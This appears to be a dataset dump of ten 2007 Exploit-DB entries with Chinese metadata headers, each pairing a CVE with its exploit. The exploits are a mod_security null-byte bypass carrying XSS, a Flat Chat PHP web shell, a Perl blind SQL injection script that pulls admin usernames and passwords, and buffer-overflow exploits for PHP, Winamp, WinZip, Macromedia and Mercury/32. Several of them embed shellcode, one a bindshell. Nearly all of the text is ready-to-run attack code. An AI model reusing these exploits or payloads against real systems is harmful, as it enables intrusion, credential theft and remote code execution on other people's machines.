QLWD/code_shield huggingface dataset:
标题: mod_security 2.1.0 - ASCIIZ byte POST Rules Bypass EDB-ID: 3425 CVE: 2007-1359 类型: REMOTE 平台: MULTIPLE 发布日期: 2007-03-07 漏洞利用脚本: mod_security <= 2.1.0 (ASCIIZ byte) POST Rules Bypass Vulnerability 
http://www.php-security.org/MOPB/BONUS-12-2007.html 

Affected is mod_security <= 2.1.0 Detailed information 

Detailed information

When mod_security receives a request it parses it into web application 
parameters in a way it believes is correct. Because the way it parses 
the incoming data follows the rules defined in RFCs and not the reality 
of how the HTTP request parsers are implemented in Perl, Python, Java, 
PHP there are a number of bypass vulnerabilities when the RFC and 
reality mismatch. 

One of the these differences is the way ASCIIZ bytes are handled when 
they occur in POST data of the application/x-www-form-urlencoded 
content-type. Because mod_security handles POST data of this kind as a C 
string it does not touch anything behind the first ASCIIZ byte because 
in the eyes of mod_security this is the end of the data. 

Unfortunately for mod_security this is not how the HTTP parsers of the 
different script languages handle this situation. Most script languages 
(Perl, Python, ...) just ignore the ASCIIZ byte and parse the data as if 
it is legal. Since PHP 5.2.0 this also applies to PHP. Proof of concept, 
exploit or instructions to reproduce 

<?php if (isset($_POST['var']) echo($_POST['var']); ?> 

Now call it with a command like 

$ echo -e "&var=<script>alert(/xss/);</script>" > postdata 
$ curl http://localhost/test.php --data-binary @postdata -A HarmlessUserAgent 
<script>alert(/xss/);</script> 

The example should not be blocked (because this is the default 
configuration) but in your error.log you will find a line saying that a 
possible XSS attack was detected. 

Now try the same with a ASCIIZ byte embedded. 

$ echo -e "\000&var=<script>alert(/xss/);</script>" > postdata 
$ curl http://localhost/test.php --data-binary @postdata -A HarmlessUserAgent 
<script>alert(/xss/);</script> 

This time there should be no log message in your error.log, because 
mod_security cannot see the var parameter behind the ASCIIZ byte.

# milw0rm.com [2007-03-07] URL: https://www.exploit-db.com/exploits/3425
标题: Flat Chat 2.0 - 'include online.txt' Remote Code Execution EDB-ID: 3428 CVE: 2007-1394 类型: WEBAPPS 平台: PHP 发布日期: 2007-03-07 漏洞利用脚本: .-""""""""-.                                 
                                          /   Dj7xpl   \                              
                                         |              |                                
                                         |,  .-.  .-.  ,|                                
                                         | )(_o/  \o_)( |                                     
                                         |/     /\     \|                                 
                               (@_       (_     ^^     _)                  
                          _     ) \_______\__|IIIIII|__/_______________________________
                         (_)@8@8{}<________|-\IIIIII/-|________________________________>
                                )_/        \          / 
                                (@
+_______________________________________________________________________________________________________________________+
+
+
+                               +=============================================+
+                               |                                             |
+                               | Portal   : Flat Chat                        |
+                               | Version  : 2.0                              |
+                               | Author   : Dj7xpl  | Dj7xpl@yahoo.com       |
+                               | Download : Http://www.undoweb.frih.net      |
+                               | Risk     : High (Remote Code Execution)     |
+                               |                                             |
+                               +=============================================+
+
+              Exploit : 
+                         Http://localhost/flatchat/index.php   <<<<<<  Open Index Page
+
+                         Insert This Script In Chat Name:  e.g:  <?php passthru($_GET[cmd]); ?>
+
+                         Http://localhost/flatchat/users.php?cmd=ls -la   <<<  Enter Your Command
+                                                                                                 
+_______________________________________________________________________________________________________________________+

# milw0rm.com [2007-03-07] URL: https://www.exploit-db.com/exploits/3428
标题: PHP 4.4.6 - 'mssql_[p]connect()' Local Buffer Overflow EDB-ID: 3417 CVE: 2007-1411 类型: LOCAL 平台: WINDOWS 发布日期: 2007-03-05 漏洞利用脚本: <?php

// PHP <= 4.4.6 mssql_connect() & mssql_pconnect() local buffer overflow
// poc exploit (and safe_mode bypass)
// windows 2000 sp3 en / seh overwrite
// by rgod
// site: http://retrogod.altervista.org

// u can easily adjust for php5
// this as my little contribute to MOPB

$____scode=
"\xeb\x1b".
"\x5b".
"\x31\xc0".
"\x50".
"\x31\xc0".
"\x88\x43\x59".
"\x53".
"\xbb\xca\x73\xe9\x77". //WinExec
"\xff\xd3".
"\x31\xc0".
"\x50".
"\xbb\x5c\xcf\xe9\x77". //ExitProcess
"\xff\xd3".
"\xe8\xe0\xff\xff\xff".
"\x63\x6d\x64".
"\x2e".
"\x65".
"\x78\x65".
"\x20\x2f".
"\x63\x20".
"start notepad & ";

   $eip="\xdc\xf5\x12";
   $____suntzu=str_repeat("\x90",100);
   $____suntzu.=$____scode;
   $____suntzu.=str_repeat("a",2460 - strlen($____scode));
   $____suntzu.=$eip;
   mssql_pconnect($____suntzu);

?>

# milw0rm.com [2007-03-05] URL: https://www.exploit-db.com/exploits/3417
标题: Links Management Application 1.0 - 'lcnt' SQL Injection EDB-ID: 3416 CVE: 2007-1339 类型: WEBAPPS 平台: PHP 发布日期: 2007-03-05 漏洞利用脚本: #!/usr/bin/perl
#[Script Name: Links Management Application V1.0 (lcnt) Remote BLIND SQL Injection Exploit
#[Coded by   : ajann
#[Author     : ajann
#[Contact    : :(
#[S.Page     : http://www.monitor-line.com
#[$$         : $34.99
#[..         : ajann,Turkey

use IO::Socket;
if(@ARGV < 1){
print "
[========================================================================
[//    Links Management Application V1.0 (lcnt) Remote BLIND SQL Injection Exploit
[//                   Usage: exploit.pl [target]
[//                   Example: exploit.pl victim.com
[//                   Example: exploit.pl victim.com
[//                           Vuln&Exp : ajann
[========================================================================
";
exit();
}
#Local variables
$server = $ARGV[0];
$server =~ s/(http:\/\/)//eg;
$host = "http://".$server;
$port = "80";
$file = "/index.php?a=listing&lcnt=";

print "Script <DIR> : ";
$dir = <STDIN>;
chop ($dir);

if ($dir =~ /exit/){
print "-- Exploit Failed[You Are Exited] \n";
exit();
}

if ($dir =~ /\//){}
else {
print "-- Exploit Failed[No DIR] \n";
exit();
 }


$target = "-1%20union%20select%200,0,1,2,3,4,5,6,0,concat(char(117,115,101,114,110,97,109,101,58),uname,char(32,112,97,115,115,58),pass,char(101,110,100,112,97,115,115)),222,11,1111,22,0,22,433,43,123,12%20from%20users/*";
$target = $host.$dir.$file.$target;

#Writing data to socket
print "+**********************************************************************+\n";
print "+ Trying to connect: $server\n";
$socket = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$server", PeerPort => "$port") || die "\n+ Connection failed...\n";
print $socket "GET $target HTTP/1.1\n";
print $socket "Host: $server\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";
print "+ Connected!...\n";
#Getting
while($answer = <$socket>) {
if ($answer =~ /username:(.*?) pass/){
print "+ Exploit succeed! Getting admin information.\n";
print "+ ---------------- +\n";
print "+ Username: $1\n";
}

if ($answer =~ / pass:(.*?)endpass/){
print "+ Password: $1\n";
}

if ($answer =~ /Syntax error/) { 
print "+ Exploit Failed : ( \n";
print "+**********************************************************************+\n";
exit(); 
}

if ($answer =~ /Internal Server Error/) {
print "+ Exploit Failed : (  \n";
print "+**********************************************************************+\n";
exit(); 
}
 }

# milw0rm.com [2007-03-05] URL: https://www.exploit-db.com/exploits/3416
标题: Winamp 5.12 - '.pls' Remote Buffer Overflow (Perl) (2) EDB-ID: 3422 CVE: 2006-0476 类型: REMOTE 平台: WINDOWS 发布日期: 2007-03-07 漏洞利用脚本: #!/usr/bin/perl -w
# ===============================================================================================
#                Winamp 5.12 Playlist UNC Path Computer Name Overflow Perl Exploit
#                               By Umesh Wanve (umesh_345@yahoo.com)
# =========================================================================================================================== 
# Credits : ATmaCA is credited with the discovery of this vulnerability.
#
# Date : 07-03-2007
#
# Tested on Windows 2000 SP4 Server English
#           Windows 2000 SP4 Professional English
#
# You can replace shellcode with your favourite one :)
#
# 
# Buffer = "\x90 x 1023"      +  EIP    
# 
# Desc: you cant put shellcode after EIP. No more space after this. The winamp simply crashes.  When you debug it, you will see that
#   shellcode is 304 bytes away from ESP. So jump to esp + 304 should work. Find such address if u can. 
# 
#
# This was written for educational purpose. Use it at your own risk.Author will be not be responsible for any damage.
#
#
#============================================================================================================================

#jump to shellcode
$jmp="\x61\xD9\x02\x02".
 "\x83\xEC\x34".                  
 "\x83\xEC\x70".                  
 "\xFF\xE4";                     


#\x83\xEC\x34  add esp ,34
#\xFF\xE4  jump esp

$nop="\x90" x 856;

$start= "[playlist]\r\nFile1=\\\\";
$end="\r\nTitle1=Winamp Exploit by Umesh\r\nLength1=512\r\nNumberOfEntries=1\r\nVersion=2\r\n";

#open calc.exe
$shellcode =
      "\x54\x50\x53\x50\x29\xc9\x83\xe9\xde\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\x02".
      "\xdd\x0e\x4d\x83\xee\xfc\xe2\xf4\xfe\x35\x4a\x4d\x02\xdd\x85\x08\x3e\x56\x72\x48".
 "\x7a\xdc\xe1\xc6\x4d\xc5\x85\x12\x22\xdc\xe5\x04\x89\xe9\x85\x4c\xec\xec\xce\xd4".
 "\xae\x59\xce\x39\x05\x1c\xc4\x40\x03\x1f\xe5\xb9\x39\x89\x2a\x49\x77\x38\x85\x12".
 "\x26\xdc\xe5\x2b\x89\xd1\x45\xc6\x5d\xc1\x0f\xa6\x89\xc1\x85\x4c\xe9\x54\x52\x69".
      "\x06\x1e\x3f\x8d\x66\x56\x4e\x7d\x87\x1d\x76\x41\x89\x9d\x02\xc6\x72\xc1\xa3\xc6".
 "\x6a\xd5\xe5\x44\x89\x5d\xbe\x4d\x02\xdd\x85\x25\x3e\x82\x3f\xbb\x62\x8b\x87\xb5".
 "\x81\x1d\x75\x1d\x6a\xa3\xd6\xaf\x71\xb5\x96\xb3\x88\xd3\x59\xb2\xe5\xbe\x6f\x21".
 "\x61\xdd\x0e\x4d";


open (MYFILE, '>>poc.pls');

print MYFILE $start;          

print MYFILE $nop;            #856

print MYFILE $shellcode;      #165 

print MYFILE "\xCC\xCC";      #2 bytes

print MYFILE $jmp;            # EIP    

print MYFILE "\x90\x90\x90\x90";

print MYFILE $end;


close (MYFILE);


##############################################################################################3

# milw0rm.com [2007-03-07] URL: https://www.exploit-db.com/exploits/3422
标题: Microsoft Windows - '.doc' Malformed Pointers Denial of Service EDB-ID: 3419 CVE: 2007-1347 类型: DOS 平台: WINDOWS 发布日期: 2007-03-06 漏洞利用脚本: /*****************************************************************************\
*            Microsoft Windows .doc File Malformed Pointers DoS               *
*                                                                             *
*                                                                             *
*                                                                             *
* Just move your mouse on the file and explorer crashes. If it does not try   *
* to look at file properties.                                                 *
* Bug comes from Ole32.dll:                                                   *
* CMP DWORD PTR DS:[EAX+EBX],3 and we can set EAX, EDX and ESI with arbitrary *
* values.                                                                     *
*                                                                             *
* Check the file, magic offsets are                                           *
* 4460 -> EDX                                                                 *
* 4519 -> ESI                                                                 *
*                                                                             *
*                                                                             *
* Successfully tested on Windows 2000 SP4 FR and XP SP2 FR.                   *
*                                                                             *
*                Coded by Marsu <MarsupilamiPowa@hotmail.fr>                  *
\*****************************************************************************/

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/3419.tar (03062007-Explorer_Crasher.tar)

# milw0rm.com [2007-03-06] URL: https://www.exploit-db.com/exploits/3419
标题: Macromedia 10.1.4.20 - 'SwDir.dll' Internet Explorer Stack Overflow Denial of Service EDB-ID: 3421 CVE: 2007-1403 类型: DOS 平台: WINDOWS 发布日期: 2007-03-07 漏洞利用脚本: <pre>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol">-----------------------------------------------------------------------------
 Macromedia SwDir.dll ver. 10.1.4.20 multiple methods Stack Overflow
 author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org
 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
-----------------------------------------------------------------------------


<object classid='clsid:233C1507-6A77-46A4-9443-F871F945D258' id='Shockwave' style="WIDTH: 0px; HEIGHT: 0px" ></object>
<select style="width: 404px" name="Pucca">
  <option value = "BGCOLOR">BGCOLOR</option>
  <option value = "SRC">SRC</option>
  <option value = "AutoStart">AutoStart</option>
  <option value = "Sound">Sound</option>
  <option value = "DrawLogo">DrawLogo</option>
  <option value = "DrawProgress">DrawProgress</option>
  <option value = "Quoting">Quoting...</option>
</select>



<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">

<script language='vbscript'>
 Sub tryMe
  on error resume next
   if Pucca.value="BGCOLOR" then
     argCount   = 1
     arg1=String(1000000, "A")
     Shockwave.BGCOLOR = arg1   
   elseif Pucca.value="SRC" then
     argCount   = 1
     arg1=String(1000000, "A")
     Shockwave.SRC = arg1
   elseif Pucca.value = "AutoStart" then
     argCount = 1
     arg1=String(1000000, "A")
     Shockwave.AutoStart = arg1
   elseif Pucca.value = "Sound" then
     argCount = 1
     arg1=String(1000000, "A")
     Shockwave.Sound = arg1
   elseif Pucca.value = "DrawLogo" then
     argCount = 1
     arg1=String(1000000, "A")
     Shockwave.DrawLogo = arg1
   elseif Pucca.value = "DrawProgress" then
     argCount = 1
     arg1=String(1000000, "A")
     Shockwave.DrawProgress = arg1
   else
     MsgBox "Hence to fight and conquer in all your battles is not supreme excellence;" & vbCrLf & _
     "supreme excellence consists in breaking the enemy's resistance without fighting."
   end if
 End Sub
</script>
</span></span>
</code></pre>

# milw0rm.com [2007-03-07] URL: https://www.exploit-db.com/exploits/3421
标题: PHP < 4.4.5/5.2.1 - WDDX Session Deserialization Information Leak EDB-ID: 3414 CVE: 2007-0908 类型: LOCAL 平台: MULTIPLE 发布日期: 2007-03-04 漏洞利用脚本: <?php
  ////////////////////////////////////////////////////////////////////////
  //  _  _                _                     _       ___  _  _  ___  //
  // | || | __ _  _ _  __| | ___  _ _   ___  __| | ___ | _ \| || || _ \ //
  // | __ |/ _` || '_|/ _` |/ -_)| ' \ / -_)/ _` ||___||  _/| __ ||  _/ //
  // |_||_|\__,_||_|  \__,_|\___||_||_|\___|\__,_|     |_|  |_||_||_|   //
  //                                                                    //
  //         Proof of concept code from the Hardened-PHP Project        //
  //                   (C) Copyright 2007 Stefan Esser                  //
  //                                                                    //
  ////////////////////////////////////////////////////////////////////////
  //       PHP WDDX Session Deserialization Stack Information Leak      //
  ////////////////////////////////////////////////////////////////////////

  // This is meant as a protection against remote file inclusion.
  die("REMOVE THIS LINE");

  if (!extension_loaded("wddx")) {
    die("wddx extension needed\n");
  }

  ini_set("session.serialize_handler", "wddx");
  
  session_start();
  
  session_decode("<wddxPacket version='1.0'><header/><data><struct><var name='".str_repeat("A",8192)."'><string>A</string></var><var name='1'><string>1</string></var></struct></data></wddxPacket>");    

  $keys = array_keys($_SESSION);
  $stackdump = $keys[1];
  
  echo "Stackdump\n---------\n\n";
  
  for ($b=0; $b<strlen($stackdump); $b+=16) {
    printf("%08x: ", $b);
    for ($i=0; $i<16; $i++) {
      printf ("%02x ", ord($stackdump[$b+$i]));
    }
    for ($i=0; $i<16; $i++) {
      $c = ord($stackdump[$b+$i]);
      if ($c > 127 || $c < 32) {
        $c = ord(".");
      }
      printf ("%c", $c);
    }
    printf("\n");
  }
?>

# milw0rm.com [2007-03-04] URL: https://www.exploit-db.com/exploits/3414
标题: WinZip 10.0.7245 - FileView ActiveX Buffer Overflow (2) EDB-ID: 3420 CVE: 2006-3890 类型: REMOTE 平台: WINDOWS 发布日期: 2007-03-06 漏洞利用脚本: <!--
prdelka
http://blogs.23.nu/prdelka

I made a version of my winzip exploit that utilises the heap spray 
method with a bindshell for some project or other. you can download a 
copy here if its of use to you, note i used a different method courtesy 
of http://www.milw0rm.com/exploits/3055 - however i couldnt get their 
exploit to function. enjoy. 
-->

<HTML>
<HEAD>
<meta http-equiv="refresh" content="0">
<TITLE></TITLE>
</HEAD>
<BODY>
<OBJECT ID="WZFILEVIEW" WIDTH=50 HEIGHT=50 CLASSID="CLSID:A09AE68F-B14D-43ED-B713-BA413F034904"></OBJECT>
<script type="text/javascript">
shellcode = unescape("%u4343%u4343%u43eb%u5756%u458b%u8b3c%u0554%u0178%u52ea%u528b%u0120%u31ea%u31c0%u41c9%u348b%u018a%u31ee%uc1ff%u13cf%u01ac%u85c7%u75c0%u39f6%u75df%u5aea%u5a8b%u0124%u66eb%u0c8b%u8b4b%u1c5a%ueb01%u048b%u018b%u5fe8%uff5e%ufce0%uc031%u8b64%u3040%u408b%u8b0c%u1c70%u8bad%u0868%uc031%ub866%u6c6c%u6850%u3233%u642e%u7768%u3273%u545f%u71bb%ue8a7%ue8fe%uff90%uffff%uef89%uc589%uc481%ufe70%uffff%u3154%ufec0%u40c4%ubb50%u7d22%u7dab%u75e8%uffff%u31ff%u50c0%u5050%u4050%u4050%ubb50%u55a6%u7934%u61e8%uffff%u89ff%u31c6%u50c0%u3550%u0102%ucc70%uccfe%u8950%u50e0%u106a%u5650%u81bb%u2cb4%ue8be%uff42%uffff%uc031%u5650%ud3bb%u58fa%ue89b%uff34%uffff%u6058%u106a%u5054%ubb56%uf347%uc656%u23e8%uffff%u89ff%u31c6%u53db%u2e68%u6d63%u8964%u41e1%udb31%u5656%u5356%u3153%ufec0%u40c4%u5350%u5353%u5353%u5353%u5353%u6a53%u8944%u53e0%u5353%u5453%u5350%u5353%u5343%u534b%u5153%u8753%ubbfd%ud021%ud005%udfe8%ufffe%u5bff%uc031%u5048%ubb53%ucb43%u5f8d%ucfe8%ufffe%u56ff%uef87%u12bb%u6d6b%ue8d0%ufec2%uffff%uc483%u615c%u89eb");
//bindshell port 28876
bigblock = unescape("%u9090%u9090");
headersize = 20;
slackspace = headersize+shellcode.length
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;
memory = new Array();
for (i=0;i<900;i++) memory[i] = block + shellcode;
var buf = 'A';
while (buf.length < 512) buf+='\x09';
WZFILEVIEW.CreateNewFolderFromName(buf);
</SCRIPT>
</BODY>
</HTML>

# milw0rm.com [2007-03-06] URL: https://www.exploit-db.com/exploits/3420
标题: Mercury/32 Mail Server 4.01b - 'check' Buffer Overflow (PoC) EDB-ID: 3418 CVE: 2007-1373 类型: DOS 平台: WINDOWS 发布日期: 2007-03-06 漏洞利用脚本: #!/usr/bin/perl
#
# mercurypown-v1.pl
#
# Mercury/32 <v4.01b (win32) remote exploit
# by mu-b - 28 Nov 2006
#
# - Tested on: Mercury/32 v4.01a (win32)
#              Mercury/32 v4.01b (win32)
#
# Stack-based buffer overflow caused by Mercury/32 concatenating
# continuation data into a fixed sized buffer disregarding
# the length of the original command, you do not require authentication.
#
# This is a little harder to exploit than usual since the
# stack frame in question calls end_thread before returning..
# buts it's still possible by at *least* two different ways...
# (i.e. controlling a pointer into sprintf and/or controlling
#  a pointer to be free()).
#
########

use Getopt::Std; getopts('t:n:', \%arg);
use Socket;

&print_header;

my $target;

if (defined($arg{'t'})) { $target = $arg{'t'} }
if (!(defined($target))) { &usage; }

my $imapd_port = 143;
my $send_delay = 1;

my $NOP = 'A';
my $LEN = 9200;#8928;
my $BUFLEN = 8192;

if (connect_host($target, $imapd_port)) {
    print("-> * Connected\n");
    $buf = "1 LOGIN".(" "x($LEN-$BUFLEN))."\{255\}\n";
    send(SOCKET, $buf, 0);
    sleep($send_delay);

    print("-> * Sending payload\n");
    $buf = $NOP x 255;
    send(SOCKET, $buf, 0);
    sleep($send_delay);

    print("-> * Sending payload 2\n");
    $buf = $NOP x $BUFLEN;
    send(SOCKET, $buf, 0);
    sleep($send_delay);

    print("-> * Successfully sent payload!\n");
}

sub print_header {
    print("Mercury/32 <v4.01b (win32) remote exploit\n");
    print("by: <mu-b\@digit-labs.org>\n\n");
}

sub usage {
    print(qq(Usage: $0 -t <hostname>

     -t <hostname>    : hostname to test
));

    exit(1);
}

sub connect_host {
    ($target, $port) = @_;
    $iaddr  = inet_aton($target)                 || die("Error: $!\n");
    $paddr  = sockaddr_in($port, $iaddr)         || die("Error: $!\n");
    $proto  = getprotobyname('tcp')              || die("Error: $!\n");

    socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
    connect(SOCKET, $paddr)                      || die("Error: $!\n");
    return(1337);
}

# milw0rm.com [2007-03-06] URL: https://www.exploit-db.com/exploits/3418